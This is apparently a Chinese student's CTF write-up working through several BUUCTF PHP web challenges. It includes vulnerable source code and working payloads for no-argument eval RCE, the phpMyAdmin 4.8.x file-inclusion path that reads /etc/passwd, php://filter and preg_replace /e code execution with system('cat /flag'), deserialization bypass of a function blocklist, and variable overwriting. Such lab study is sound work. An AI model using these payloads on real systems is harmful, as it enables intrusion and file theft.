你👱🏻‍滴寒假本来似上分滴time
不过你👱🏻‍后面确实success了,继续滚回来do题

[GXYCTF2019]禁止套娃

又是一道感觉似曾相识的题目

你👱🏻‍打开环境,映入眼幕的是问你👱🏻‍flag在哪,别的没了

查看源代码也没有任何东西,看起来无货可整。

在没有其他明显目录而且没有hint的情况下考虑存在git泄露

使用Githack看看

果然扫出来一个,下面是源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
        if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
            // echo $_GET['exp'];
            @eval($_GET['exp']);
        }
        else{
            die("还差一点哦!");
        }
    }
    else{
        die("再好好想想!");
    }
}
else{
    die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析下源码,大概是以下这样

  1. 需要以GET形式传入一个exp参数,如果满足条件,会执行这个参数的内容;
  2. 过滤了几个常用的伪协议;
  3. (?R)?重复引用当前表达式(递归调用),所以只能无参数绕过;
  4. 过滤了一些关键字,限制一些函数的使用

首先查看下当前目录的文件

payload:?exp=print_r(scandir(current(localeconv())));
  1. localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
  2. current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
  3. 所以current(localeconv())==’.’ (永远是点)
  4. scandir(‘.’):列出当前目录中的文件和目录。

![)PK6UYXP4`S$G8ZLJSDBT{9.png](https://s2.loli.net/2022/02/08/qZLCNT5R6MAShUt.png)

然后要读flag.php的内容

payload:?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

得到flag

[GWCTF 2019]我有一个数据库

你👱🏻‍打开环境 只有两行字,F12确实就那点字

既然提到了数据库,那么可以推测有phpmyadmin存在

你👱🏻‍用扫描一看确实,直接进入连密码都不用输,

phpmyadmin4.8.0-4.8.1存在文件包含漏洞

使用你👱🏻‍找的payload直接打

?target=db_datadict.php%253f/../../../../../../../../etc/passwd

将etc/passwd改成flag得到flag

[BJDCTF2020]ZJCTF,不过如此

打开题目,嗯,代码审计

<?php

   error_reporting(0);
   $text = $_GET["text"];
   $file = $_GET["file"];
   if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
    die("Not now!");
}

include($file);  //next.php

}
else{
highlight_file(__FILE__);
}
?>

可以用php://input伪协议来绕过file_get_contents()

因为有include(),所以可以用php://filter来读取文件

于是构造payload为

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到一段base64加密的字符串,解密后得到

 <?php
     $id = $_GET['id'];
     $_SESSION['id'] = $id;

function complex($re, $str) {
   return preg_replace(
      '/(' . $re . ')/ei',
      'strtolower("\\1")',
       $str
    );
 }
 foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
 }

 function getFlag(){
    @eval($_GET['cmd']);
 } 

继续进行代码审计,这里你👱🏻‍说一下知识点

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行

这里的第二个参数是strtolower(“\1”),也就是strtolower(“\1”),而而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项

这里你👱🏻‍还偷了一点正则表达式的知识点

正则表达式的\S:匹配所有非空白字符;
 .号:匹配除\n外的任意字符;
 *号:匹配前面的字符0次或者多次
 +号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

继续审计,对于foreach()函数,这个函数就是将我们传进去的参数变为正则,并且参数值变为字符串,getFlag()是需要我们eval执行的。

接下来构造payload

\S*=${getFlag()}&cmd=system('cat /flag');

这个简单来说就是php5.5.0起的一个漏洞,pl为 /?.={${phpinfo()}}。get值是/?.,参数是{${phpinfo()}}

这里解释下用\S*而不是用.*的原因:

因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效

这里的.会被和谐成_

所以你👱🏻‍只能使用\S*或者\S%2b来进行构造payload

所以最后为

http://e86a8450-06ee-47e1-84d7-a672322f8cfc.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

[网鼎杯 2020 朱雀组]phpweb

可以 这风格你👱🏻‍喜欢

抓个包

POST有两个参数,其中date是函数,后面是他的参数,换成读取源代码确实能读到源代码,这里还可以合理怀疑使用了call_user_func()函数

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

这里可以看到禁用了system等函数,所以可以用序列化加上url编码绕过

因为过滤只对我们输入的post的func进行检查,在test类里并没有检查,所以更改Test类中的参数即可让我们的system函数传入

先查看目录

<?php
   class Test {
    var $p = "ls /";
    var $func = "system";
    }
 $a = new Test();
 echo serialize($a);
 //unserialize
?>

再看flag在哪

最后再看flag

  <?php
 class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
 }
$a = new Test();
echo serialize($a);
//unserialize
?>

[强网杯 2019]高明的黑客

都这样说了 你👱🏻‍不得去看看源🐴?

这🐴好多,你👱🏻‍作为银类肯定是整不动了,只能ask for 帮助了

随便打开一个页面,发现里面存在着大量的system和eval函数,而且参数是我们可控的,所以你👱🏻‍可以通过$_GET[]来传递命令,然后由system()或eval()执行,但大概率是只有答案那个参数可以用,所以我们需要脚本来找出那个参数。

后面你👱🏻‍自己写和找的脚本都不行

这题你👱🏻‍卡太久 暂时跳过

[BJDCTF2020]Mark loves cat

进来什么都没有,是个模板前端

你👱🏻‍用哪dirsearch扫了一下 发现.git泄露

用githack下载下来源码 分别有flag.php和index.php

flag的内容只有:

$flag = file_get_contents('/flag');

index的内容有:

<?php

 include 'flag.php';
 $yds = "dog";
 $is = "cat";
 $handsome = 'yds';

 foreach($_POST as $x => $y){
 $$x = $y;
 }
 foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
    exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag

你👱🏻‍要做的就是让脚本执行到最后一句echo $flag;

但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空

我们POST传参flag=aaa,在第一个foreach语句中变成$flag= aaa,flag被覆盖为‘aaa’,最后输出aaa

你👱🏻‍沾点无奈了,但是if语句中的exit()函数虽然会退出执行,但也会输出其参数,你👱🏻‍可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了

这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法

一是第二个if语句中可以看到这里是输出的$yds变量,那么我们就要通过变量覆盖达到$yds=$flag的效果,GET传参yds=flag,在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag

二是第三个if语句中输出变量$is,判断条件为$_POST[‘flag’] === ‘flag’ || $_GET[‘flag’] === ‘flag’,这里可以通过满足后面这个条件进行变量覆盖:GET传参is=flag&flag=flag;在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句

传入进去 F12就拿到flag